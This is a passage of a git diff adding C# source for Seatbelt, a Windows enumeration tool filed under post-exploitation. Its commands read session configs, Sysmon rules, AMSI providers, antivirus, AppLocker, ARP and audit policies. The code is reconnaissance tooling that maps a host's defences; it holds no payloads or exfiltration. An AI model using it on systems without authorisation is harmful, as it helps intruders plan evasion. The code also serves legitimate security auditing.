session.Attributes["SessionId"].Value; + var sessionName = session.Attributes["SessionName"].Value; + var host = session.Attributes["Host"].Value; + var port = session.Attributes["Port"].Value; + var protocol = session.Attributes["Proto"].Value; + var user = session.Attributes["Username"].Value; + var extraArgs = session.Attributes["ExtraArgs"].Value; + + var config = new SuperPuttyConfig( + filePath, + sessionID, + sessionName, + host, + port, + protocol, + user, + extraArgs + ); + + configs.Add(config); + } + } + + if (configs.Count > 0) + { + yield return new SuperPuttyDTO( + userName, + configs + ); + } + } + } + + internal class SuperPuttyDTO : CommandDTOBase + { + public SuperPuttyDTO(string userName, List configs) + { + UserName = userName; + Configs = configs; + } + public string UserName { get; set; } + public List Configs { get; set; } + } + + [CommandOutputType(typeof(SuperPuttyDTO))] + internal class SuperPuttyFormatter : TextFormatterBase + { + public SuperPuttyFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (SuperPuttyDTO)result; + + WriteLine($" SuperPutty Configs ({dto.UserName}):\n"); + + foreach (var config in dto.Configs) + { + WriteLine($" FilePath : {config.FilePath}"); + WriteLine($" SessionID : {config.SessionID}"); + WriteLine($" SessionName : {config.SessionName}"); + WriteLine($" Host : {config.Host}"); + WriteLine($" Port : {config.Port}"); + WriteLine($" Protocol : {config.Protocol}"); + WriteLine($" Username : {config.UserName}"); + if(!String.IsNullOrEmpty(config.ExtraArgs)) + { + WriteLine($" ExtraArgs : {config.ExtraArgs}"); + } + WriteLine(); + } + WriteLine(); + } + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Products/SysmonCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Products/SysmonCommand.cs new file mode 100644 index 0000000..82fdd26 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Products/SysmonCommand.cs @@ -0,0 +1,154 @@ +using System; +using System.Collections.Generic; +using Microsoft.Win32; +using Seatbelt.Commands.Windows; +using Seatbelt.Output.Formatters; +using Seatbelt.Output.TextWriters; +using Seatbelt.Util; + + +namespace Seatbelt.Commands +{ + // TODO: Grab the version of Sysmon from its binary + internal class SysmonCommand : CommandBase + { + public override string Command => "Sysmon"; + public override string Description => "Sysmon configuration from the registry"; + public override CommandGroup[] Group => new[] { CommandGroup.System, CommandGroup.Remote }; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + // hashing algorithm reference from @mattifestation's SysmonRuleParser.ps1 + // ref - https://github.com/mattifestation/PSSysmonTools/blob/master/PSSysmonTools/Code/SysmonRuleParser.ps1#L589-L595 + [Flags] + public enum SysmonHashAlgorithm + { + NotDefined = 0, + SHA1 = 1, + MD5 = 2, + SHA256 = 4, + IMPHASH = 8 + } + + [Flags] + public enum SysmonOptions + { + NotDefined = 0, + NetworkConnection = 1, + ImageLoading = 2 + } + + public SysmonCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + + if (!SecurityUtil.IsHighIntegrity() && !ThisRunTime.ISRemote()) + { + WriteError("Unable to collect. Must be an administrator."); + yield break; + } + + var paramsKey = @"SYSTEM\CurrentControlSet\Services\SysmonDrv\Parameters"; + + var regHashAlg = ThisRunTime.GetDwordValue(RegistryHive.LocalMachine, paramsKey, "HashingAlgorithm"); + var regOptions = ThisRunTime.GetDwordValue(RegistryHive.LocalMachine, paramsKey, "Options"); + var regSysmonRules = ThisRunTime.GetBinaryValue(RegistryHive.LocalMachine, paramsKey, "Rules"); + var installed = false; + var hashingAlgorithm = (SysmonHashAlgorithm)0; + var sysmonOptions = (SysmonOptions)0; + string? b64SysmonRules = null; + + if ((regHashAlg != null) || (regOptions != null) || (regSysmonRules != null)) + { + installed = true; + } + + if (regHashAlg != null && regHashAlg != 0) + { + regHashAlg = regHashAlg & 15; // we only care about the last 4 bits + hashingAlgorithm = (SysmonHashAlgorithm)regHashAlg; + } + + if (regOptions != null) + { + sysmonOptions = (SysmonOptions)regOptions; + } + + if (regSysmonRules != null) + { + b64SysmonRules = Convert.ToBase64String(regSysmonRules); + } + + yield return new SysmonDTO( + installed, + hashingAlgorithm, + sysmonOptions, + b64SysmonRules + ); + } + + internal class SysmonDTO : CommandDTOBase + { + public SysmonDTO(bool installed, SysmonHashAlgorithm hashingAlgorithm, SysmonOptions options, string? rules) + { + Installed = installed; + HashingAlgorithm = hashingAlgorithm; + Options = options; + Rules = rules; + } + public bool Installed { get; } + + public SysmonHashAlgorithm HashingAlgorithm { get; } + + public SysmonOptions Options { get; } + + public string? Rules { get; } + } + + [CommandOutputType(typeof(SysmonDTO))] + internal class SysmonTextFormatter : TextFormatterBase + { + public SysmonTextFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (SysmonDTO)result; + + WriteLine($"Installed: {dto.Installed}"); + WriteLine($"HashingAlgorithm: {dto.HashingAlgorithm}"); + WriteLine($"Options: {dto.Options}"); + WriteLine($"Rules:"); + + foreach (var line in Split(dto.Rules, 100)) + { + WriteLine($" {line}"); + } + + } + + private IEnumerable Split(string? text, int lineLength) + { + if(text == null) yield break; + + var i = 0; + for (; i < text.Length; i += lineLength) + { + if (i + lineLength > text.Length) + { + break; + } + + yield return text.Substring(i, lineLength); + } + + yield return text.Substring(i); + } + } + } +} \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Products/WsusClientCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Products/WsusClientCommand.cs new file mode 100644 index 0000000..e3403d5 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Products/WsusClientCommand.cs @@ -0,0 +1,44 @@ +using System.Collections.Generic; +using Microsoft.Win32; + +namespace Seatbelt.Commands +{ + internal class WsusClientCommand : CommandBase + { + public override string Command => "WSUS"; + public override string Description => "Windows Server Update Services (WSUS) settings, if applicable"; + public override CommandGroup[] Group => new[] {CommandGroup.System}; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public WsusClientCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + yield return new WsusClientDTO( + (ThisRunTime.GetDwordValue(RegistryHive.LocalMachine, @"SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU", "UseWUServer") == 1), + ThisRunTime.GetStringValue(RegistryHive.LocalMachine, @"SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate", "WUServer"), + ThisRunTime.GetStringValue(RegistryHive.LocalMachine, @"SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate", "UpdateServiceUrlAlternate"), + ThisRunTime.GetStringValue(RegistryHive.LocalMachine, @"SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate", "WUStatusServer") + ); + } + } + + internal class WsusClientDTO : CommandDTOBase + { + public WsusClientDTO(bool? useWuServer, string? server, string? alternateServer, string? statisticsServer) + { + UseWUServer = useWuServer; + Server = server; + AlternateServer = alternateServer; + StatisticsServer = statisticsServer; + } + public bool? UseWUServer { get; set; } + public string? Server { get; set; } + public string? AlternateServer { get; set; } + public string? StatisticsServer { get; set; } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Template.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Template.cs new file mode 100644 index 0000000..f6280ee --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Template.cs @@ -0,0 +1,93 @@ +#if DEBUG +using Microsoft.Win32; +using System.Collections.Generic; +using Seatbelt.Output.TextWriters; +using Seatbelt.Output.Formatters; + +// Any command you create should not generate compiler warnings +namespace Seatbelt.Commands.Windows +{ + // Replace all instances of "TEMPLATE" with the command name you're building + internal class TEMPLATECommand : CommandBase + { + public override string Command => "TEMPLATE"; + public override string Description => "Description for your command"; + public override CommandGroup[] Group => new[] {CommandGroup.User}; // either CommandGroup.System, CommandGroup.User, or CommandGroup.Misc + public override bool SupportRemote => true; // set to true if you want to signal that your module supports remote operations + public Runtime ThisRunTime; + + public TEMPLATECommand(Runtime runtime) : base(runtime) + { + // use a constructor of this type if you want to support remote operations + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + // .\Seatbelt\Runtime.cs contains a number of helper WMI/Registry functions that lets you implicitly perform enumeration locally or remotely. + // GetManagementObjectSearcher(string nameSpace, string query) ==> easy WMI namespace searching. See DNSCacheCommand.cs + // GetSubkeyNames(RegistryHive hive, string path) ==> registry subkey enumeration via WMI StdRegProv. See PuttySessions.cs + // GetStringValue(RegistryHive hive, string path, string value) ==> retrieve a string registry value via WMI StdRegProv. See PuttySessions.cs + // GetDwordValue(RegistryHive hive, string path, string value) ==> retrieve an uint registry value via WMI StdRegProv. See NtlmSettingsCommand.cs + // GetBinaryValue(RegistryHive hive, string path, string value) ==> retrieve an binary registry value via WMI StdRegProv. See SysmonCommand.cs + // GetValues(RegistryHive hive, string path) ==> retrieve the values under a path. See PuttyHostKeys.cs. + // GetUserSIDs() ==> return all user SIDs under HKU. See PuttyHostKeys.cs. + + var providers = ThisRunTime.GetSubkeyNames(RegistryHive.LocalMachine, @"SOFTWARE\Microsoft\AMSI\Providers"); + if(providers == null) + yield break; // Exit the function and don't return anything + + foreach (var provider in providers) + { + var providerPath = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, $"SOFTWARE\\Classes\\CLSID\\{provider}\\InprocServer32", ""); + + // Avoid writing output inside this function. + // If you want to format your output in a special way, use a text formatter class (see below) + // You _can_ using the following function, however it's not recommended and will be going away in the future. + // If you do, this data will not be serialized. + // WriteHost("OUTPUT"); + + // yield your DTO objects. If you need to yield a _collection_ of multiple objects, set one of the DTO properties to be a List or something similar. + yield return new TEMPLATEDTO( + provider, + providerPath + ); + } + } + + // This is the output data transfer object (DTO). + // Properties in this class should only have getters or private setters, and should be initialized in the constructor. + // Some of the existing commands are migrating to this format (in case you see ones that do not conform). + internal class TEMPLATEDTO : CommandDTOBase + { + public TEMPLATEDTO(string property, string? propertyPath) + { + Property = property; + PropertyPath = propertyPath; + } + public string Property { get; } + public string? PropertyPath { get; } + } + + + // This is optional. + // If you want to format the output in a particular way, implement it here. + // A good example is .\Seatbelt\Commands\Windows\NtlmSettingsCommand.cs + // If this class does not exist, Seatbelt will use the DefaultTextFormatter class + [CommandOutputType(typeof(TEMPLATEDTO))] + internal class TEMPLATEFormatter : TextFormatterBase + { + public TEMPLATEFormatter(ITextWriter writer) : base(writer) + { + // nothing goes here + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + // use the following function here if you want to write out to the cmdline. This data will not be serialized. + WriteLine("OUTPUT"); + } + } + } +} +#endif \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/VerboseDTO.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/VerboseDTO.cs new file mode 100644 index 0000000..76d4ae8 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/VerboseDTO.cs @@ -0,0 +1,30 @@ + +using Seatbelt.Output.Formatters; +using Seatbelt.Output.TextWriters; + +namespace Seatbelt.Commands +{ + class VerboseDTO : CommandDTOBase + { + public VerboseDTO(string message) + { + Message = message; + } + + public string Message { get; } + } + + [CommandOutputType(typeof(VerboseDTO))] + internal class VerboseTextFormatter : TextFormatterBase + { + public VerboseTextFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase dto, bool filterResults) + { + //WriteLine("VERBOSE: " + ((VerboseDTO)dto).Message); + WriteLine(((VerboseDTO)dto).Message); + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/WarningDTO.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/WarningDTO.cs new file mode 100644 index 0000000..9474e7a --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/WarningDTO.cs @@ -0,0 +1,29 @@ + +using Seatbelt.Output.Formatters; +using Seatbelt.Output.TextWriters; + +namespace Seatbelt.Commands +{ + class WarningDTO : CommandDTOBase + { + public WarningDTO(string message) + { + Message = message; + } + + public string Message { get; } + } + + [CommandOutputType(typeof(WarningDTO))] + internal class WarningTextFormatter : TextFormatterBase + { + public WarningTextFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase dto, bool filterResults) + { + WriteLine("WARNING: " + ((WarningDTO)dto).Message); + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/AMSIProvidersCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/AMSIProvidersCommand.cs new file mode 100644 index 0000000..64b4b47 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/AMSIProvidersCommand.cs @@ -0,0 +1,44 @@ +using Microsoft.Win32; +using System.Collections.Generic; + +namespace Seatbelt.Commands.Windows +{ + internal class AMSIProviderCommand : CommandBase + { + public override string Command => "AMSIProviders"; + public override string Description => "Providers registered for AMSI"; + public override CommandGroup[] Group => new[] { CommandGroup.System, CommandGroup.Remote }; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public AMSIProviderCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + var providers = ThisRunTime.GetSubkeyNames(RegistryHive.LocalMachine, @"SOFTWARE\Microsoft\AMSI\Providers") ?? new string[] {}; + foreach (var provider in providers) + { + var ProviderPath = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, $"SOFTWARE\\Classes\\CLSID\\{provider}\\InprocServer32", ""); + + yield return new AMSIProviderDTO( + provider, + ProviderPath + ); + } + } + + internal class AMSIProviderDTO : CommandDTOBase + { + public AMSIProviderDTO(string guid, string? providerPath) + { + GUID = guid; + ProviderPath = providerPath; + } + public string GUID { get; set; } + public string? ProviderPath { get; set; } + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/ARPTableCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/ARPTableCommand.cs new file mode 100644 index 0000000..56c82fb --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/ARPTableCommand.cs @@ -0,0 +1,205 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Runtime.InteropServices; +using System.Net.NetworkInformation; +using System.Net; +using System.Reflection; +using Seatbelt.Interop; +using Seatbelt.Output.TextWriters; +using Seatbelt.Output.Formatters; + + +namespace Seatbelt.Commands.Windows +{ + class ArpEntry + { + public ArpEntry(string ipAddress, string physicalAddress, string entryType) + { + IpAddress = ipAddress; + PhysicalAddress = physicalAddress; + EntryType = entryType; + } + public string IpAddress { get; set; } + public string PhysicalAddress { get; set; } + public string EntryType { get; set; } + } + + internal class ArpTableCommand : CommandBase + { + public override string Command => "ARPTable"; + public override string Description => "Lists the current ARP table and adapter information (equivalent to arp -a)"; + public override CommandGroup[] Group => new[] { CommandGroup.System }; + public override bool SupportRemote => false; // not possible + + public ArpTableCommand(Runtime runtime) : base(runtime) + { + } + + public override IEnumerable Execute(string[] args) + { + // adapted from Fred's code at https://social.technet.microsoft.com/Forums/lync/en-US/e949b8d6-17ad-4afc-88cd-0019a3ac9df9/powershell-alternative-to-arp-a?forum=ITCG + + var adapterIdToInterfaceMap = new SortedDictionary(); + + // build a mapping of index -> interface information + foreach (var networkInterface in NetworkInterface.GetAllNetworkInterfaces()) + { + BuildIndexToInterfaceMap(networkInterface, adapterIdToInterfaceMap); + } + + var bytesNeeded = 0; + var result = Iphlpapi.GetIpNetTable(IntPtr.Zero, ref bytesNeeded, false); + + if (result != Win32Error.InsufficientBuffer) + { + throw new Exception($"GetIpNetTable: Expected insufficient buffer but got {result}"); + } + + var buffer = Marshal.AllocCoTaskMem(bytesNeeded); + + try + { + result = Iphlpapi.GetIpNetTable(buffer, ref bytesNeeded, false); + + if (result != 0) + { + throw new Exception($"GetIpNetTable error: {result}"); + } + + // now we have the buffer, we have to marshal it. We can read the first 4 bytes to get the length of the buffer + var entries = Marshal.ReadInt32(buffer); + + // increment the memory pointer by the size of the int + var currentBuffer = new IntPtr(buffer.ToInt64() + Marshal.SizeOf(typeof(int))); + + // allocate a list of entries + var arpEntries = new List(); + + // cycle through the entries + for (var index = 0; index < entries; index++) + { + arpEntries.Add((Iphlpapi.MIB_IPNETROW)Marshal.PtrToStructure( + new IntPtr(currentBuffer.ToInt64() + (index * Marshal.SizeOf(typeof(Iphlpapi.MIB_IPNETROW)))), + typeof(Iphlpapi.MIB_IPNETROW))); + } + + // sort the list by interface index + var sortedArpEntries = arpEntries.OrderBy(o => o.dwIndex).ToList(); + uint? currentAdapterIndex = null; + + foreach (var arpEntry in sortedArpEntries) + { + var adapterIndex = (uint)arpEntry.dwIndex; + + if (currentAdapterIndex != adapterIndex) + { + if (!adapterIdToInterfaceMap.ContainsKey(adapterIndex)) + { + adapterIdToInterfaceMap[adapterIndex] = new ArpTableDTO(adapterIndex, "n/a", "n/a"); + } + + currentAdapterIndex = adapterIndex; + } + + var ipAddress = new IPAddress(BitConverter.GetBytes(arpEntry.dwAddr)); + var macBytes = new[] + {arpEntry.mac0, arpEntry.mac1, arpEntry.mac2, arpEntry.mac3, arpEntry.mac4, arpEntry.mac5}; + var physicalAddress = BitConverter.ToString(macBytes); + var entryType = (Iphlpapi.ArpEntryType)arpEntry.dwType; + + var entry = new ArpEntry( + ipAddress.ToString(), + physicalAddress, + entryType.ToString() + ); + + adapterIdToInterfaceMap[adapterIndex].Entries.Add(entry); + } + } + finally + { + if (buffer != IntPtr.Zero) Iphlpapi.FreeMibTable(buffer); + } + + + foreach (var adapter in adapterIdToInterfaceMap) + { + yield return adapter.Value; + } + } + + private static void BuildIndexToInterfaceMap(NetworkInterface ni, SortedDictionary adapters) + { + // We don't care about the loopback interface + // if (ni.NetworkInterfaceType == NetworkInterfaceType.Loopback) return; + + var adapterProperties = ni.GetIPProperties(); + if (adapterProperties == null) throw new Exception("Could not get adapter IP properties"); + + var index = (uint?)ni.GetType().GetField("index", BindingFlags.NonPublic | BindingFlags.Instance)?.GetValue(ni); + if(index == null) throw new Exception("Could not get interface index number"); + + var adapter = new ArpTableDTO(index.Value, ni.Name, ni.Description); + + adapterProperties.UnicastAddresses + .ToList() + .ForEach(ip => adapter.InterfaceIPs.Add(ip.Address.ToString())); + + adapterProperties.DnsAddresses + .ToList() + .ForEach(dns => adapter.DnsServers.Add(dns.ToString())); + + adapters.Add(index.Value, adapter); + } + } + + internal class ArpTableDTO : CommandDTOBase + { + public ArpTableDTO(uint index, string name, string description) + { + InterfaceIndex = index; + InterfaceName = name; + InterfaceDescription = description; + } + + public uint InterfaceIndex { get; } + + public string InterfaceName { get; } + public string InterfaceDescription { get; } + public List InterfaceIPs { get; set; } = new List(); + public List DnsServers { get; set; } = new List(); + public List Entries { get; set; } = new List(); + } + + [CommandOutputType(typeof(ArpTableDTO))] + internal class ArpTableTextFormatter : TextFormatterBase + { + public ArpTableTextFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (ArpTableDTO)result; + + WriteLine($" {dto.InterfaceName} --- Index {dto.InterfaceIndex}"); + WriteLine($" Interface Description : {dto.InterfaceDescription}"); + WriteLine($" Interface IPs : {string.Join(", ", dto.InterfaceIPs.ToArray())}"); + + if (dto.DnsServers.Count > 0) + { + WriteLine($" DNS Servers : {string.Join(", ", dto.DnsServers.ToArray())}\n"); + } + + WriteLine(" Internet Address Physical Address Type"); + + foreach (var entry in dto.Entries) + { + WriteLine($" {entry.IpAddress,-22}{entry.PhysicalAddress,-22}{entry.EntryType}"); + } + + WriteLine("\n"); + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/AntiVirusCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/AntiVirusCommand.cs new file mode 100644 index 0000000..bba530b --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/AntiVirusCommand.cs @@ -0,0 +1,67 @@ +using System; +using System.Collections.Generic; +using Seatbelt.Interop; + +namespace Seatbelt.Commands.Windows +{ + internal class AntiVirusCommand : CommandBase + { + public override string Command => "AntiVirus"; + public override string Description => "Registered antivirus (via WMI)"; + public override CommandGroup[] Group => new[] { CommandGroup.System, CommandGroup.Remote }; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public AntiVirusCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + if (String.IsNullOrEmpty(ThisRunTime.ComputerName) && Shlwapi.IsWindowsServer()) + { + WriteHost("Cannot enumerate antivirus. root\\SecurityCenter2 WMI namespace is not available on Windows Servers"); + yield break; + } + + // lists installed VA products via WMI (the AntiVirusProduct class) + + var AVResults = new List(); + + try + { + var wmiData = ThisRunTime.GetManagementObjectSearcher(@"root\SecurityCenter2", "SELECT * FROM AntiVirusProduct"); + var data = wmiData.Get(); + + foreach (var virusChecker in data) + { + AVResults.Add(new AntiVirusDTO( + virusChecker["displayName"], + virusChecker["pathToSignedProductExe"], + virusChecker["pathToSignedReportingExe"] + )); + } + } + catch { } + + foreach(var AVResult in AVResults) + { + yield return AVResult; + } + } + } + + internal class AntiVirusDTO : CommandDTOBase + { + public AntiVirusDTO(object engine, object productExe, object reportingExe) + { + Engine = engine; + ProductEXE = productExe; + ReportingEXE = reportingExe; + } + public object Engine { get; } + public object ProductEXE { get; } + public object ReportingEXE { get; } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/AppLockerCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/AppLockerCommand.cs new file mode 100644 index 0000000..8b3ba3f --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/AppLockerCommand.cs @@ -0,0 +1,149 @@ +#nullable disable +using Microsoft.Win32; +using Seatbelt.Util; +using System.Collections.Generic; +using System.Management; +using Seatbelt.Output.TextWriters; +using Seatbelt.Output.Formatters; + +namespace Seatbelt.Commands.Windows +{ + internal class AppLockerCommand : CommandBase + { + public override string Command => "AppLocker"; + public override string Description => "AppLocker settings, if installed"; + public override CommandGroup[] Group => new[] {CommandGroup.System}; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public AppLockerCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + // ref - @_RastaMouse https://rastamouse.me/2018/09/enumerating-applocker-config/ + var wmiData = ThisRunTime.GetManagementObjectSearcher(@"root\cimv2", "SELECT Name, State FROM win32_service WHERE Name = 'AppIDSvc'"); + var data = wmiData.Get(); + + string appIdSvcState = "Service not found"; + + var rules = new List(); + + foreach (var o in data) + { + var result = (ManagementObject)o; + appIdSvcState = result["State"].ToString(); + } + + var keys = ThisRunTime.GetSubkeyNames(RegistryHive.LocalMachine, "Software\\Policies\\Microsoft\\Windows\\SrpV2") ?? new string[] { }; + + if (keys != null && keys.Length != 0) + { + foreach (var key in keys) + { + var keyName = key; + var enforcementMode = ThisRunTime.GetDwordValue(RegistryHive.LocalMachine, $"Software\\Policies\\Microsoft\\Windows\\SrpV2\\{key}", "EnforcementMode"); + var enforcementModeStr = enforcementMode switch + { + null => "not configured", + 0 => "Audit Mode", + 1 => "Enforce Mode", + _ => $"Unknown value {enforcementMode}" + }; + + var ids = ThisRunTime.GetSubkeyNames(RegistryHive.LocalMachine, "Software\\Policies\\Microsoft\\Windows\\SrpV2\\" + key); + + foreach (var id in ids) + { + var rule = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, $"Software\\Policies\\Microsoft\\Windows\\SrpV2\\{key}\\{id}", "Value"); + rules.Add(rule); + } + + yield return new AppLockerDTO( + configured: true, + appIdSvcState, + keyName, + enforcementModeStr, + rules + ); + } + } + else + { + yield return new AppLockerDTO( + configured: false, + appIdSvcState, + keyName: null, + enforcementMode: null, + rules: null + ); + } + } + + internal class AppLockerDTO : CommandDTOBase + { + public AppLockerDTO(bool configured, string appIdSvcState, string? keyName, string? enforcementMode, List? rules) + { + Configured = configured; + AppIdSvcState = appIdSvcState; + KeyName = keyName; + EnforcementMode = enforcementMode; + Rules = rules; + } + public bool Configured { get; } + + public string AppIdSvcState { get; } + + public string? KeyName { get; } + + public string? EnforcementMode { get; } + + public List? Rules { get; } + } + + [CommandOutputType(typeof(AppLockerDTO))] + internal class AppLockerTextFormatter : TextFormatterBase + { + public AppLockerTextFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (AppLockerDTO)result; + + WriteLine(" [*] AppIDSvc service is {0}\n", dto.AppIdSvcState); + if (dto.AppIdSvcState != "Running") + WriteLine(" [*] Applocker is not running because the AppIDSvc is not running\n"); + + if (!dto.Configured) + { + WriteLine(" [*] AppLocker not configured"); + } + else if (dto.EnforcementMode.Equals("not configured")) + { + WriteLine(" [*] {0} not configured", dto.KeyName); + } + else + { + WriteLine("\n [*] {0} is in {1}", dto.KeyName, dto.EnforcementMode); + + if (dto.Rules.Count == 0) + { + WriteLine(" [*] No rules"); + } + else + { + foreach (var rule in dto.Rules) + { + WriteLine(" [*] {0}", rule); + } + } + } + } + } + } +} +#nullable enable \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/AuditPoliciesCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/AuditPoliciesCommand.cs new file mode 100644 index 0000000..5c1ff67 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/AuditPoliciesCommand.cs @@ -0,0 +1,279 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text.RegularExpressions; +using Seatbelt.Output.Formatters; +using Seatbelt.Output.TextWriters; +using Seatbelt.Util; + + +namespace Seatbelt.Commands +{ + enum AuditType + { + Success = 1, + Failure = 2, + SuccessAndFailure = 3 + } + + class AuditEntry + { + public AuditEntry(string target, string subcategory, string subcategoryGuid, AuditType auditType) + { + Target = target; + Subcategory = subcategory; + SubcategoryGUID = subcategoryGuid; + AuditType = auditType; + } + public string Target { get; } + public string Subcategory { get; } + public string SubcategoryGUID { get; } + public AuditType AuditType { get; } + } + + internal class AuditPoliciesCommand : CommandBase + { + public override string Command => "AuditPolicies"; + public override string Description => "Enumerates classic and advanced audit policy settings"; + public override CommandGroup[] Group => new[] {CommandGroup.System}; + public override bool SupportRemote => false; // TODO : remote conversion, need to implement searching for remote files + + // reference - https://github.com/trustedsec/HoneyBadger/blob/master/modules/post/windows/gather/ts_get_policyinfo.rb + + public AuditPoliciesCommand(Runtime runtime) : base(runtime) + { + } + + public override IEnumerable Execute(string[] args) + { + var searchPath = $"{Environment.GetEnvironmentVariable("SystemRoot")}\\System32\\GroupPolicy\\DataStore\\0\\sysvol\\"; + var sysnativeSearchPath = $"{Environment.GetEnvironmentVariable("SystemRoot")}\\Sysnative\\GroupPolicy\\DataStore\\0\\sysvol\\"; + var files = FindFiles(searchPath, "audit.csv"); + // var sysnativeFiles = FindFiles(sysnativeSearchPath, "audit.csv"); // TODO: Need to implement parsing of this + var classicFiles = FindFiles(searchPath, "GptTmpl.inf"); + + foreach (var classicFilePath in classicFiles) + { + var result = ParseGPOPath(classicFilePath); + var domain = result[0]; + var gpo = result[1]; + + //ParseClassicPolicy + var sections = IniFileHelper.ReadSections(classicFilePath); + + if (!sections.Contains("Event Audit")) + continue; + + var settings = ParseClassicPolicy(classicFilePath); + + yield return new AuditPolicyGPO( + classicFilePath, + domain, + gpo, + "classic", + settings + ); + } + + foreach (var filePath in files) + { + var result = ParseGPOPath(filePath); + var domain = result[0]; + var gpo = result[1]; + + var settings = ParseAdvancedPolicy(filePath); + + yield return new AuditPolicyGPO( + filePath, + domain, + gpo, + "advanced", + settings + ); + } + } + + public string[] ParseGPOPath(string path) + { + // returns an array of the domain and GPO GUID from an audit.csv (or GptTmpl.inf) path + + var searchPath = $"{Environment.GetEnvironmentVariable("SystemRoot")}\\System32\\GroupPolicy\\DataStore\\0\\sysvol\\"; + var sysnativeSearchPath = $"{Environment.GetEnvironmentVariable("SystemRoot")}\\Sysnative\\GroupPolicy\\DataStore\\0\\sysvol\\"; + + if (Regex.IsMatch(path, "System32")) + { + var rest = path.Substring(searchPath.Length, path.Length - searchPath.Length); + var parts = rest.Split('\\'); + string[] result = { parts[0], parts[2] }; + return result; + } + else + { + var rest = path.Substring(sysnativeSearchPath.Length, path.Length - sysnativeSearchPath.Length); + var parts = rest.Split('\\'); + string[] result = { parts[0], parts[2] }; + return result; + } + } + + public List ParseClassicPolicy(string path) + { + // parses a "classic" auditing policy (GptTmpl.inf), returning a list of AuditEntries + + var results = new List(); + + var settings = IniFileHelper.ReadKeyValuePairs("Event Audit", path); + foreach (var setting in settings) + { + var parts = setting.Split('='); + + var result = new AuditEntry( + "", + parts[0], + "", + (AuditType)Int32.Parse(parts[1]) + ); + + results.Add(result); + } + + return results; + } + + public List ParseAdvancedPolicy(string path) + { + // parses a "advanced" auditing policy (audit.csv), returning a list of AuditEntries + + var results = new List(); + + using (var reader = new StreamReader(path)) + { + while (!reader.EndOfStream) + { + var line = reader.ReadLine(); + var values = line.Split(','); + + if (values[0].Equals("Machine Name")) // skip the header + continue; + + // CSV lines: + // Machine Name,Policy Target,Subcategory,Subcategory GUID,Inclusion Setting,Exclusion Setting,Setting Value + + string + target = values[1], + subcategory = values[2], + subcategoryGuid = values[3]; + var auditType = (AuditType)int.Parse(values[6]); + + results.Add(new AuditEntry( + target, + subcategory, + subcategoryGuid, + auditType + )); + } + } + + return results; + } + + public static List FindFiles(string path, string pattern) + { + // finds files matching one or more patterns under a 